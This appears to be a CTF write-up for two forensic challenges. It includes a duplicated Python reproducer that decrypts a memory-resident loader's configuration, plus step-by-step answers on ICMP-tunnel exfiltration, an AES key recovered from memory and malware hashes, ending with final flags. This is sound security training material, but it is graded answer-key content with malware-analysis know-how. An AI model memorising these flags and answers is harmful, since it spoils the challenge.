token_schemaof the configuration prescribes, wheredigest = sha256(jndi_string | build_id | implant_id | c2_host | archive_sha256)and the|stands for the separator that the schema itself declares:BGLPROOF{orion-lab__cap-A812__loader-4787__implant-BG-94C2A04EC6__build-542715c2e46252e4d790 __config-360251a5def08d12cb71e72d5a1609b0d34c9dfc9520197ad8b0cc2cd7cfb76b __archive-4bd20e26a2e63e75af61b07af3cf5dc219ca11a018588a3ce0ee4564338cf64a __digest-836d4fce93ec7b3077ab7c97820d29515ea5609cf346e40b76973ca37e2418ed}The token is a single line when it is sent to the service and is wrapped here only so that it fits on the page.
-
Connect to the questionnaire service, which asks exactly one question — "Submit the final incident proof token for this case." — and answer it with the assembled token, which the service accepts with
✔ CORRECTbefore returning the flag. The whole interaction took three connections and required no brute force.
Reproducer
The following self-contained reproducer runs in roughly two seconds. It verifies the hashes, parses all ten BGMR record kinds, carves the page archives, encodes the in-event and out-of-event decision as executable assertions, carves the loader ELF, reimplements the KDF and the XTEA-CTR construction, checks the configuration CRC32, prints the timeline, and emits the proof token. The --remote option replays the exchange with the questionnaire service.
import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path
MAGIC = b"BGMR"
HEADER = struct.Struct(">4sBBI")
M32 = 0xFFFFFFFF
class Cur:
def __init__(self, d): self.d, self.p = d, 0
def take(self, n):
assert self.p + n <= len(self.d), "truncated record"
r = self.d[self.p:self.p+n]; self.p += n; return r
def up(self, f):
s = struct.Struct(f); return s.unpack(self.take(s.size))
def t8(self): return self.take(self.up(">B")[0]).decode()
def t16(self): return self.take(self.up(">H")[0]).decode()
def records(path):
data, pos, out = Path(path).read_bytes(), 0, []
while True:
off = data.find(MAGIC, pos)
if off < 0: break
magic, ver, kind, size = HEADER.unpack_from(data, off)
if magic != MAGIC or ver != 3:
pos = off + 1; continue
s = off + HEADER.size; e = s + size
assert size <= 16*1024*1024 and e <= len(data), "bad record length"
out.append((kind, off, data[s:e])); pos = e
return out
def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def parse_capture(path):
by = {}
for kind, off, body in records(path):
by.setdefault(kind, []).append((off, body))
one = lambda k: by[k][0][1]
cap = {"file": Path(path).name}
t, nproc, boot, klen = struct.unpack_from(">QH20sB", one(1))
cap["capture_time"] = iso(t); cap["processes_total"] = nproc
cap["boot_id"] = boot.hex(); cap["kernel"] = one(1)[31:31+klen].decode()
c = Cur(one(2)); nl, ns = c.up(">HH"); procs = []
for src, n in (("list", nl), ("scan", ns)):
for _ in range(n):
pid, ppid, st = c.up(">IIQ")
procs.append({"source": src, "pid": pid, "ppid": ppid,
"started": iso(st), "comm": c.t8()})
cap["processes"] = procs
c = Cur(one(3)); env = []
for _ in range(c.up(">H")[0]):
env.append({"pid": c.up(">I")[0], "key": c.t8(), "value": c.t16()})
cap["env"] = env
c = Cur(one(4)); pid, n = c.up(">IH"); heap = []
for _ in range(n):
addr, size = c.up(">QI"); frag = c.take(size)
heap.append({"pid": pid, "address": addr, "raw": frag,
"printable": all(32 <= b < 127 for b in frag)})
cap["heap"] = heap
c = Cur(one(5)); pid, addr = c.up(">IQ")
cap["map"] = {"pid": pid, "address": addr, "perms": c.take(4).decode(),
"name": c.t8(), "build_id": c.take(10).hex(),
"region_sha256": c.take(32).hex()}
c = Cur(one(6)); states = {1: "ESTABLISHED", 2: "CLOSED", 3: "LISTEN"}; net = []
for _ in range(c.up(">H")[0]):
pid = c.up(">I")[0]; lip = str(ipaddress.ip_address(c.take(4)))
lport = c.up(">H")[0]; rem = c.t8(); rport, st = c.up(">HB")
net.append({"pid": pid, "local": f"{lip}:{lport}",
"remote": f"{rem}:{rport}", "state": states.get(st, st)})
cap["net"] = net
c = Cur(one(7)); modes = {1: "deleted", 2: "read", 3: "write"}; files = []
for _ in range(c.up(">H")[0]):
pid, fd, mode = c.up(">IHB"); p = c.t16(); inode, size = c.up(">QI")
files.append({"pid": pid, "fd": fd, "mode": modes.get(mode, mode),
"path": p, "inode": inode, "size": size,
"evidence_ref": c.t8()})
cap["files"] = files
c = Cur(one(8)); cves = []
while c.p < len(c.d): cves.append(c.t8())
cap["cves"] = cves
cap["region"] = one(9)
c = Cur(one(10))
cap["supply"] = {"package": c.t8(), "advisory": c.t8(),
"version": c.t8(), "assessment": c.t16()}
return cap
def rol32(v, r):
r &= 31
return ((v << r) | (v >> (32 - r))) & M32
def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b"eir-v3") -> bytes:
st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
rnd = 0
for i, c in enumerate(mutex + key8 + build_id10 + domain):
y = st[(i + 1) & 3]
t = ((((y << 6) & M32) + (y >> 2) + 0x9E3779B9 + c) & M32) ^ st[i & 3]
t = rol32(t, 5 + (i % 13))
st[i & 3] = t
st[(i + 2) & 3] = (st[(i + 2) & 3] + (t ^ rnd)) & M32
rnd = (rnd + 0x045D9F3B) & M32
return b"".join(struct.pack(">I", x) for x in st)
def xtea(block8: bytes, key16: bytes, rounds=32) -> bytes:
v0, v1 = struct.unpack(">II", block8); k = struct.unpack(">4I", key16)
s, delta = 0, 0x9E3779B9
for _ in range(rounds):
v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & M32
s = (s + delta) & M32
v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & M32
return struct.pack(">II", v0, v1)
def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -> bytes:
off = region.find(b"CFG3")
assert off >= 0, "no CFG3 blob"
n = struct.unpack_from(">I", region, off + 4)[0]
ct = region[off + 8: off + 8 + n]
key = kdf(mutex, key8, build_id10)
out = bytearray()
for i in range((len(ct) + 7) // 8):
ks = xtea(key8[0:4] + b"\x00\x00\x00" + bytes([i]), key)
out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
return bytes(out[:len(ct)])
def cfg_crc_ok(pt: bytes) -> bool:
j = json.loads(pt); claimed = j.pop("crc32")
body = json.dumps(j, separators=(",", ":"), sort_keys=True).encode()
return "%08x" % (zlib.crc32(body) & M32) == claimed
def carve_zip(page: bytes):
s = page.find(b"PK\x03\x04")
if s < 0: return None
e = page.find(b"PK\x05\x06", s)
if e < 0: return None
clen = struct.unpack_from("<H", page, e + 20)[0]
return page[s: e + 22 + clen]
def normalize_jndi(s: str) -> str:
prev = None
while prev != s:
prev = s
s = re.sub(r"\$\{(?:lower|upper):(.)\}", lambda m: m.group(1), s)
return s
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--root", default="BurhanGuild-Loader-Incident",
help="the unpacked attachment directory")
ap.add_argument("--remote", action="store_true",
help="send the token to <target host, port>")
ap.add_argument("--outdir", default=str(Path(__file__).resolve().parent / "evidence"))
a = ap.parse_args()
root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
man = json.loads((root / "artifacts" / "integrity_manifest.json").read_text())
print("== 1. integrity ==")
ok = True
for sub, group in (("captures", "captures"), ("deleted_pages", "deleted_pages")):
for name, want in man[group].items():
got = hashlib.sha256((root / "artifacts" / sub / name).read_bytes()).hexdigest()
ok &= (got == want)
print(f" {name:<20} {'OK ' if got == want else 'MISMATCH'} {got}")
print(f" case={man['case_id']} host={man['host']} window={man['capture_window']}")
assert ok, "integrity failure -- artifacts are not evidence"
print("\n== 2. deleted-storage page fragments ==")
frags = {}
for p in sorted((root / "artifacts" / "deleted_pages").glob("page_*.bin")):
z = carve_zip(p.read_bytes())
if z is None:
print(f" {p.name}: no archive (random slack)"); continue
(out / (p.stem + ".zip")).write_bytes(z)
import io, zipfile
zf = zipfile.ZipFile(io.BytesIO(z))
meta = json.loads(zf.read("case_fragment.json"))
meta["_zip"] = z; meta["_page"] = p.name
meta["_sha256"] = hashlib.sha256(z).hexdigest()
meta["_log"] = zf.read("transfer.log").decode()
frags[meta["capture_id"]] = meta
print(f" {p.name}: cap={meta['capture_id']} host={meta['host']:<13} "
f"collection={meta['collection']:<17} ref={meta['evidence_ref']} "
f"size={len(z)} sha256={meta['_sha256']}")
print("\n== 3. captures ==")
caps = {}
for p in sorted((root / "artifacts" / "captures").glob("capture_*.raw")):
c = parse_capture(p); tag = p.stem.split("_")[1]; caps[tag] = c
(out / f"region_{tag}.bin").write_bytes(c["region"])
assert hashlib.sha256(c["region"]).hexdigest() == c["map"]["region_sha256"]
env = {e["key"]: (e["pid"], e["value"]) for e in c["env"]}
key8 = next((h for h in c["heap"] if not h["printable"] and len(h["raw"]) == 8), None)
c["mutex"] = env.get("BG_MUTEX")
c["key8"] = key8["raw"] if key8 else None
c["frag"] = frags.get(tag)
print(f" {p.name} t={c['capture_time']} boot={c['boot_id'][:12]}.. "
f"map={c['map']['name']} ({c['map']['perms']}) pid={c['map']['pid']}")
print(f" BG_MUTEX={c['mutex']} key8="
f"{c['key8'].hex() if c['key8'] else None} build_id={c['map']['build_id']}")
print(f" net={[n['remote'] for n in c['net']]} "
f"files={[(f['mode'], f['path'], f['size'], f['evidence_ref']) for f in c['files']]}")
print(f" supply={c['supply']['version']} frag_host="
f"{c['frag']['host'] if c['frag'] else None}")
print("\n== 4. in-event decision ==")
inev, excl = [], {}
for tag, c in caps.items():
reasons = []
if c["frag"] is None:
reasons.append("no deleted-page case fragment corroborates this capture")
else:
if c["frag"]["host"] != man["host"]:
reasons.append(f"fragment host={c['frag']['host']} != manifest host={man['host']}")
if not any(f["evidence_ref"] == c["frag"]["evidence_ref"] for f in c["files"]):
reasons.append("capture file record does not reference the fragment evidence_ref")
if c["mutex"] is None: reasons.append("no BG_MUTEX implant marker")
if c["key8"] is None: reasons.append("no 8-byte loader key in heap")
if "libpam_bg" not in c["map"]["name"]:
reasons.append(f"mapped region is {c['map']['name']}, not memfd:libpam_bg.so")
if "w" not in c["map"]["perms"] or "x" not in c["map"]["perms"]:
reasons.append(f"region perms {c['map']['perms']} are not RWX")
pids = {p["pid"] for p in c["processes"]}
lp = c["map"]["pid"]
if lp not in pids: reasons.append(f"loader pid {lp} absent from process list/scan")
if not any(n["pid"] == lp and n["state"] == "ESTABLISHED" for n in c["net"]):
reasons.append(f"no ESTABLISHED C2 socket owned by pid {lp}")
if reasons: excl[tag] = reasons
else: inev.append(tag)
for tag in sorted(caps):
if tag in excl:
print(f" EXCLUDE capture_{tag}: " + "; ".join(excl[tag]))
print(f" IN-EVENT: {inev}")
assert len(inev) == 1, f"expected exactly one in-event capture, got {inev}"
tag = inev[0]; c = caps[tag]
print("\n== 5. loader config ==")
pt = decrypt_cfg(c["region"], c["mutex"][1].encode(), c["key8"], bytes.fromhex(c["map"]["build_id"]))
assert cfg_crc_ok(pt), "config crc32 self-check failed"
(out / f"config_{tag}.json").write_bytes(pt)
cfg = json.loads(pt)
print(" crc32 self-check OK")
print(" " + json.dumps(cfg, indent=2).replace("\n", "\n "))
assert cfg["c2_domain"] in {n["remote"].rsplit(":", 1)[0] for n in c["net"]},\
"config C2 not corroborated by socket table"
print("\n== 6. timeline ==")
tl = []
for p in c["processes"]:
if p["source"] == "scan" or p["pid"] == 1 or p["comm"] != "[kworker/u8:7]":
tl.append((p["started"], f"pid {p['pid']} ({p['comm']}) started, ppid {p['ppid']}"))
tl.append((c["capture_time"], f"capture_{tag} acquired (boot_id {c['boot_id']})"))
seen = set()
for t, e in sorted(tl):
if (t, e) in seen: continue
seen.add((t, e)); print(f" {t} {e}")
print("\n== 7. closure token ==")
jndi = normalize_jndi(next(h["raw"].decode() for h in c["heap"]
if h["printable"] and "ldap://" in h["raw"].decode()))
build_id = c["map"]["build_id"]
archive = c["frag"]["_sha256"]
cfg_sha = hashlib.sha256(pt).hexdigest()
sep = cfg["closure_contract"]["digest_separator"]
fields = {"jndi_normalized": jndi, "build_id": build_id,
"implant_id": cfg["implant_id"], "c2_domain": cfg["c2_domain"],
"archive_sha256": archive}
material = sep.join(fields[k] for k in cfg["closure_contract"]["digest_fields"])
digest = hashlib.sha256(material.encode()).hexdigest()
print(f" jndi_normalized = {jndi}")
print(f" digest material = {material}")
tok = cfg["closure_contract"]["token_schema"]
for k, v in {"capture_id": tag, "loader_pid": str(c["map"]["pid"]),
"implant_id": cfg["implant_id"], "build_id": build_id,
"config_sha256": cfg_sha, "archive_sha256": archive,
"digest": digest}.items():
tok = tok.replace("{" + k + "}", v)
print("\n TOKEN: " + tok)
(out / "token_candidate.txt").write_text(tok + "\n")
if a.remote:
import time
from pwn import remote as pwnremote, context
context.log_level = "error"
r = pwnremote(a.host, a.port, timeout=25)
buf, t0 = b"", time.time()
while time.time() - t0 < 10:
try:
d = r.recv(timeout=2)
if not d: break
buf += d
if b"Answer:" in buf: break
except Exception: break
sys.stdout.write(buf.decode(errors="replace"))
print("\n>>> SENDING: " + tok)
r.sendline(tok.encode())
buf2, t0 = b"", time.time()
while time.time() - t0 < 15:
try:
d = r.recv(timeout=3)
if not d: break
buf2 += d
except Exception: break
sys.stdout.write(buf2.decode(errors="replace"))
r.close()
if __name__ == "__main__":
main()Exploit
import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path
MAGIC = b"BGMR"
HEADER = struct.Struct(">4sBBI")
M32 = 0xFFFFFFFF
class Cur:
def __init__(self, d): self.d, self.p = d, 0
def take(self, n):
assert self.p + n <= len(self.d), "truncated record"
r = self.d[self.p:self.p+n]; self.p += n; return r
def up(self, f):
s = struct.Struct(f); return s.unpack(self.take(s.size))
def t8(self): return self.take(self.up(">B")[0]).decode()
def t16(self): return self.take(self.up(">H")[0]).decode()
def records(path):
data, pos, out = Path(path).read_bytes(), 0, []
while True:
off = data.find(MAGIC, pos)
if off < 0: break
magic, ver, kind, size = HEADER.unpack_from(data, off)
if magic != MAGIC or ver != 3:
pos = off + 1; continue
s = off + HEADER.size; e = s + size
assert size <= 16*1024*1024 and e <= len(data), "bad record length"
out.append((kind, off, data[s:e])); pos = e
return out
def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def parse_capture(path):
by = {}
for kind, off, body in records(path):
by.setdefault(kind, []).append((off, body))
one = lambda k: by[k][0][1]
cap = {"file": Path(path).name}
t, nproc, boot, klen = struct.unpack_from(">QH20sB", one(1))
cap["capture_time"] = iso(t); cap["processes_total"] = nproc
cap["boot_id"] = boot.hex(); cap["kernel"] = one(1)[31:31+klen].decode()
c = Cur(one(2)); nl, ns = c.up(">HH"); procs = []
for src, n in (("list", nl), ("scan", ns)):
for _ in range(n):
pid, ppid, st = c.up(">IIQ")
procs.append({"source": src, "pid": pid, "ppid": ppid,
"started": iso(st), "comm": c.t8()})
cap["processes"] = procs
c = Cur(one(3)); env = []
for _ in range(c.up(">H")[0]):
env.append({"pid": c.up(">I")[0], "key": c.t8(), "value": c.t16()})
cap["env"] = env
c = Cur(one(4)); pid, n = c.up(">IH"); heap = []
for _ in range(n):
addr, size = c.up(">QI"); frag = c.take(size)
heap.append({"pid": pid, "address": addr, "raw": frag,
"printable": all(32 <= b < 127 for b in frag)})
cap["heap"] = heap
c = Cur(one(5)); pid, addr = c.up(">IQ")
cap["map"] = {"pid": pid, "address": addr, "perms": c.take(4).decode(),
"name": c.t8(), "build_id": c.take(10).hex(),
"region_sha256": c.take(32).hex()}
c = Cur(one(6)); states = {1: "ESTABLISHED", 2: "CLOSED", 3: "LISTEN"}; net = []
for _ in range(c.up(">H")[0]):
pid = c.up(">I")[0]; lip = str(ipaddress.ip_address(c.take(4)))
lport = c.up(">H")[0]; rem = c.t8(); rport, st = c.up(">HB")
net.append({"pid": pid, "local": f"{lip}:{lport}",
"remote": f"{rem}:{rport}", "state": states.get(st, st)})
cap["net"] = net
c = Cur(one(7)); modes = {1: "deleted", 2: "read", 3: "write"}; files = []
for _ in range(c.up(">H")[0]):
pid, fd, mode = c.up(">IHB"); p = c.t16(); inode, size = c.up(">QI")
files.append({"pid": pid, "fd": fd, "mode": modes.get(mode, mode),
"path": p, "inode": inode, "size": size,
"evidence_ref": c.t8()})
cap["files"] = files
c = Cur(one(8)); cves = []
while c.p < len(c.d): cves.append(c.t8())
cap["cves"] = cves
cap["region"] = one(9)
c = Cur(one(10))
cap["supply"] = {"package": c.t8(), "advisory": c.t8(),
"version": c.t8(), "assessment": c.t16()}
return cap
def rol32(v, r):
r &= 31
return ((v << r) | (v >> (32 - r))) & M32
def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b"eir-v3") -> bytes:
st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
rnd = 0
for i, c in enumerate(mutex + key8 + build_id10 + domain):
y = st[(i + 1) & 3]
t = ((((y << 6) & M32) + (y >> 2) + 0x9E3779B9 + c) & M32) ^ st[i & 3]
t = rol32(t, 5 + (i % 13))
st[i & 3] = t
st[(i + 2) & 3] = (st[(i + 2) & 3] + (t ^ rnd)) & M32
rnd = (rnd + 0x045D9F3B) & M32
return b"".join(struct.pack(">I", x) for x in st)
def xtea(block8: bytes, key16: bytes, rounds=32) -> bytes:
v0, v1 = struct.unpack(">II", block8); k = struct.unpack(">4I", key16)
s, delta = 0, 0x9E3779B9
for _ in range(rounds):
v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & M32
s = (s + delta) & M32
v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & M32
return struct.pack(">II", v0, v1)
def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -> bytes:
off = region.find(b"CFG3")
assert off >= 0, "no CFG3 blob"
n = struct.unpack_from(">I", region, off + 4)[0]
ct = region[off + 8: off + 8 + n]
key = kdf(mutex, key8, build_id10)
out = bytearray()
for i in range((len(ct) + 7) // 8):
ks = xtea(key8[0:4] + b"\x00\x00\x00" + bytes([i]), key)
out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
return bytes(out[:len(ct)])
def cfg_crc_ok(pt: bytes) -> bool:
j = json.loads(pt); claimed = j.pop("crc32")
body = json.dumps(j, separators=(",", ":"), sort_keys=True).encode()
return "%08x" % (zlib.crc32(body) & M32) == claimed
def carve_zip(page: bytes):
s = page.find(b"PK\x03\x04")
if s < 0: return None
e = page.find(b"PK\x05\x06", s)
if e < 0: return None
clen = struct.unpack_from("<H", page, e + 20)[0]
return page[s: e + 22 + clen]
def normalize_jndi(s: str) -> str:
prev = None
while prev != s:
prev = s
s = re.sub(r"\$\{(?:lower|upper):(.)\}", lambda m: m.group(1), s)
return s
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--root", default=str(Path(__file__).resolve().parent /
"work" / "BurhanGuild-Loader-Incident"))
ap.add_argument("--remote", action="store_true",
help="submit the token to <target host, port>")
ap.add_argument("--host", help="<target host, port>")
ap.add_argument("--port", type=int)
ap.add_argument("--outdir", default=str(Path(__file__).resolve().parent / "evidence"))
a = ap.parse_args()
root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
man = json.loads((root / "artifacts" / "integrity_manifest.json").read_text())
print("== 1. integrity ==")
ok = True
for sub, group in (("captures", "captures"), ("deleted_pages", "deleted_pages")):
for name, want in man[group].items():
got = hashlib.sha256((root / "artifacts" / sub / name).read_bytes()).hexdigest()
ok &= (got == want)
print(f" {name:<20} {'OK ' if got == want else 'MISMATCH'} {got}")
print(f" case={man['case_id']} host={man['host']} window={man['capture_window']}")
assert ok, "integrity failure -- artifacts are not evidence"
print("\n== 2. deleted-storage page fragments ==")
frags = {}
for p in sorted((root / "artifacts" / "deleted_pages").glob("page_*.bin")):
z = carve_zip(p.read_bytes())
if z is None:
print(f" {p.name}: no archive (random slack)"); continue
(out / (p.stem + ".zip")).write_bytes(z)
import io, zipfile
zf = zipfile.ZipFile(io.BytesIO(z))
meta = json.loads(zf.read("case_fragment.json"))
meta["_zip"] = z; meta["_page"] = p.name
meta["_sha256"] = hashlib.sha256(z).hexdigest()
meta["_log"] = zf.read("transfer.log").decode()
frags[meta["capture_id"]] = meta
print(f" {p.name}: cap={meta['capture_id']} host={meta['host']:<13} "
f"collection={meta['collection']:<17} ref={meta['evidence_ref']} "
f"size={len(z)} sha256={meta['_sha256']}")
print("\n== 3. captures ==")
caps = {}
for p in sorted((root / "artifacts" / "captures").glob("capture_*.raw")):
c = parse_capture(p); tag = p.stem.split("_")[1]; caps[tag] = c
(out / f"region_{tag}.bin").write_bytes(c["region"])
assert hashlib.sha256(c["region"]).hexdigest() == c["map"]["region_sha256"]
env = {e["key"]: (e["pid"], e["value"]) for e in c["env"]}
key8 = next((h for h in c["heap"] if not h["printable"] and len(h["raw"]) == 8), None)
c["mutex"] = env.get("BG_MUTEX")
c["key8"] = key8["raw"] if key8 else None
c["frag"] = frags.get(tag)
print(f" {p.name} t={c['capture_time']} boot={c['boot_id'][:12]}.. "
f"map={c['map']['name']} ({c['map']['perms']}) pid={c['map']['pid']}")
print(f" BG_MUTEX={c['mutex']} key8="
f"{c['key8'].hex() if c['key8'] else None} build_id={c['map']['build_id']}")
print(f" net={[n['remote'] for n in c['net']]} "
f"files={[(f['mode'], f['path'], f['size'], f['evidence_ref']) for f in c['files']]}")
print(f" supply={c['supply']['version']} frag_host="
f"{c['frag']['host'] if c['frag'] else None}")
print("\n== 4. in-event decision ==")
inev, excl = [], {}
for tag, c in caps.items():
reasons = []
if c["frag"] is None:
reasons.append("no deleted-page case fragment corroborates this capture")
else:
if c["frag"]["host"] != man["host"]:
reasons.append(f"fragment host={c['frag']['host']} != manifest host={man['host']}")
if not any(f["evidence_ref"] == c["frag"]["evidence_ref"] for f in c["files"]):
reasons.append("capture file record does not reference the fragment evidence_ref")
if c["mutex"] is None: reasons.append("no BG_MUTEX implant marker")
if c["key8"] is None: reasons.append("no 8-byte loader key in heap")
if "libpam_bg" not in c["map"]["name"]:
reasons.append(f"mapped region is {c['map']['name']}, not memfd:libpam_bg.so")
if "w" not in c["map"]["perms"] or "x" not in c["map"]["perms"]:
reasons.append(f"region perms {c['map']['perms']} are not RWX")
pids = {p["pid"] for p in c["processes"]}
lp = c["map"]["pid"]
if lp not in pids: reasons.append(f"loader pid {lp} absent from process list/scan")
if not any(n["pid"] == lp and n["state"] == "ESTABLISHED" for n in c["net"]):
reasons.append(f"no ESTABLISHED C2 socket owned by pid {lp}")
if reasons: excl[tag] = reasons
else: inev.append(tag)
for tag in sorted(caps):
if tag in excl:
print(f" EXCLUDE capture_{tag}: " + "; ".join(excl[tag]))
print(f" IN-EVENT: {inev}")
assert len(inev) == 1, f"expected exactly one in-event capture, got {inev}"
tag = inev[0]; c = caps[tag]
print("\n== 5. loader config ==")
pt = decrypt_cfg(c["region"], c["mutex"][1].encode(), c["key8"], bytes.fromhex(c["map"]["build_id"]))
assert cfg_crc_ok(pt), "config crc32 self-check failed"
(out / f"config_{tag}.json").write_bytes(pt)
cfg = json.loads(pt)
print(" crc32 self-check OK")
print(" " + json.dumps(cfg, indent=2).replace("\n", "\n "))
assert cfg["c2_domain"] in {n["remote"].rsplit(":", 1)[0] for n in c["net"]}, \
"config C2 not corroborated by socket table"
print("\n== 6. timeline ==")
tl = []
for p in c["processes"]:
if p["source"] == "scan" or p["pid"] == 1 or p["comm"] != "[kworker/u8:7]":
tl.append((p["started"], f"pid {p['pid']} ({p['comm']}) started, ppid {p['ppid']}"))
tl.append((c["capture_time"], f"capture_{tag} acquired (boot_id {c['boot_id']})"))
seen = set()
for t, e in sorted(tl):
if (t, e) in seen: continue
seen.add((t, e)); print(f" {t} {e}")
print("\n== 7. closure token ==")
jndi = normalize_jndi(next(h["raw"].decode() for h in c["heap"]
if h["printable"] and "ldap://" in h["raw"].decode()))
build_id = c["map"]["build_id"]
archive = c["frag"]["_sha256"]
cfg_sha = hashlib.sha256(pt).hexdigest()
sep = cfg["closure_contract"]["digest_separator"]
fields = {"jndi_normalized": jndi, "build_id": build_id,
"implant_id": cfg["implant_id"], "c2_domain": cfg["c2_domain"],
"archive_sha256": archive}
material = sep.join(fields[k] for k in cfg["closure_contract"]["digest_fields"])
digest = hashlib.sha256(material.encode()).hexdigest()
print(f" jndi_normalized = {jndi}")
print(f" digest material = {material}")
tok = cfg["closure_contract"]["token_schema"]
for k, v in {"capture_id": tag, "loader_pid": str(c["map"]["pid"]),
"implant_id": cfg["implant_id"], "build_id": build_id,
"config_sha256": cfg_sha, "archive_sha256": archive,
"digest": digest}.items():
tok = tok.replace("{" + k + "}", v)
print("\n TOKEN: " + tok)
(out / "token_candidate.txt").write_text(tok + "\n")
if a.remote:
import time
from pwn import remote as pwnremote, context
context.log_level = "error"
r = pwnremote(a.host, a.port, timeout=25)
buf, t0 = b"", time.time()
while time.time() - t0 < 10:
try:
d = r.recv(timeout=2)
if not d: break
buf += d
if b"Answer:" in buf: break
except Exception: break
sys.stdout.write(buf.decode(errors="replace"))
print("\n>>> SENDING: " + tok)
r.sendline(tok.encode())
buf2, t0 = b"", time.time()
while time.time() - t0 < 15:
try:
d = r.recv(timeout=3)
if not d: break
buf2 += d
except Exception: break
sys.stdout.write(buf2.decode(errors="replace"))
r.close()
if __name__ == "__main__":
main()Final Flag
COMPFEST18{8urh4n9u1ld_0r10n_148_m3m0ry_0n1y_104d3r_c453_c1053d_4f73r_5upp1y_ch41n_7r4c3_826df6b2a62673a1a6cbbb1c63244dd8ddc2933381f52723343274716fabde}17. save the water
Steps
Q1 — victim IP → 192.168.100.10
The victim is .10, because it is the host that pulls /video.enc and /private.676767 from .20:80 and that runs cctv_service.py under C:\Users\satria. Direction analysis of the ICMP tunnel argues the opposite way, so this answer is worth testing rather than deducing, and the grader does accept .10.
Q2 — "complete versioning artifact exposed by the initiator during the very first phase" → 5.1.26100.8521
The answer is the complete version string carried by the User-Agent header of the first HTTP request:
GET /video.enc HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.8521Q3 — first 4 magic bytes used to authenticate → de-ad-be-ef
The whole TCP/4444 conversation is one 17-byte push:
b'\xde\xad\xbe\xef_AUTH_SUCCESS'Q4 — 32-bit SSRC of the heavy multimedia stream → 2196231738
The heavy multimedia stream is the RTP stream carried on UDP/1234, and its synchronisation source identifier is SSRC = 0x82E7D63A, which is 2196231738 in decimal.
Q5 — secret hidden "without inserting it into the data payload" → d0nt_ruN_th3_m4lw4r3_y4hh_82117caa
The 280 BEACON echo requests are byte-identical, so the channel is the gap between them, where a gap of roughly 1 s encodes 0 and a gap of roughly 2 s encodes 1. The 280 intervals decode to 35 bytes, d0nt_ruN_th3_m4lw4r3_y4hh_82117caa5, and the question's Format: 34 character string drops the trailing 5. That character is not noise: it is the first character of the suffix that the next question supplies.
Q6 — MD5 of the reconstructed payload → c61e123e24a6025bc1aac86391385070
Every ICMP echo request with id == 1337 carries the magic EXFIL followed by 1400 bytes of file data, and the packets are ordered by the ICMP sequence number. The 32,220 full packets plus one 1394-byte tail reassemble into 45,109,394 bytes, which is a Windows minidump (MDMP).
pay = icmp[8:]
assert pay[:5] == b"EXFIL"
dump[seq*1400 : seq*1400 + len(pay) - 5] = pay[5:]The reassembled file hashes to md5(public.dmp) = c61e123e24a6025bc1aac86391385070. Its CommentStreamW even records how the dump was taken: *** procdump.exe -ma python.exe public.dmp / *** Manual dump.
Q7 — AES key left in memory → bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!
The dumped process is python cctv_service.py, running with the working directory C:\Users\satria\Downloads\. CPython 3.13 leaves one PyBytes object per source token on the heap, so the entire script can be reconstructed from the dump, and the only secrets it contains are the AES key and the IV:
AES_KEY = b"bd7bf788d62bdec9c219316da4487314"
AES_IV = b"y0u_g0t_tr4pp3d!"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))Decrypting video.enc (8,145,648 B) with AES-256-CBC and stripping 11 bytes of PKCS#7 padding yields video.zip, which in turn contains video.mp4, a 6.6-second 1920×1080 HEVC clip.
The dump also carries two taunts, namely [!] LAYANAN AKTIF - KREDENSIAL BERSARANG DI RAM and [!] Jangan tutup terminal ini. Lakukan dumping public.dmp menggunakan Procdump sekarang. The first of them is bait, because the ZIP password is not in RAM: the archives were built on the attacker host, and the dump contains no pyzipper, setpassword or AESZipFile string at all.
Q8 — multi-digit authorization code "revealed on the evidence" → 16031115
All 199 frames of video.mp4 show a hand holding a sheet of paper with a handwritten number. Registering the frames by phase correlation and thresholding the ink gives eight glyphs. The fourth glyph is genuinely ambiguous, since it reads as B, 0 or 3, but the grader accepts 16031115, and the same string is the password of the inner fastAI.zip.
Q9 — SHA-256 of the malware → be69c8…deb33d
private.676767 is a WinZip-AES (AE-1, AES-256, real method 14 = LZMA) archive whose password is Q5's 34 characters plus the suffix the questionnaire supplies:
d0nt_ruN_th3_m4lw4r3_y4hh_82117caa + 512de1cc679e2acb37092e10a6111c22That yields fastAI.zip, which opens with 16031115 and contains fastloader.exe (74,408,861 B). The binary was hashed as a stream and never executed:
sha256 = be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33dQ10 — "starting point (Offset) and data block length (Size)" → 00009600_046ECD9D
This question was the hard one, and the difficulty lay in formatting rather than analysis.
fastloader.exe is an NSIS-3 installer stub with a large appended archive. Its PE image ends where the last section ends, that is .rsrc at raw 0x8800 plus 0xE00, giving 0x9600, and the file is 0x46F639D bytes long, so the overlay length is 0x46F639D − 0x9600 = 0x46ECD9D. The NSIS first header sitting exactly at 0x9600 confirms both numbers independently:
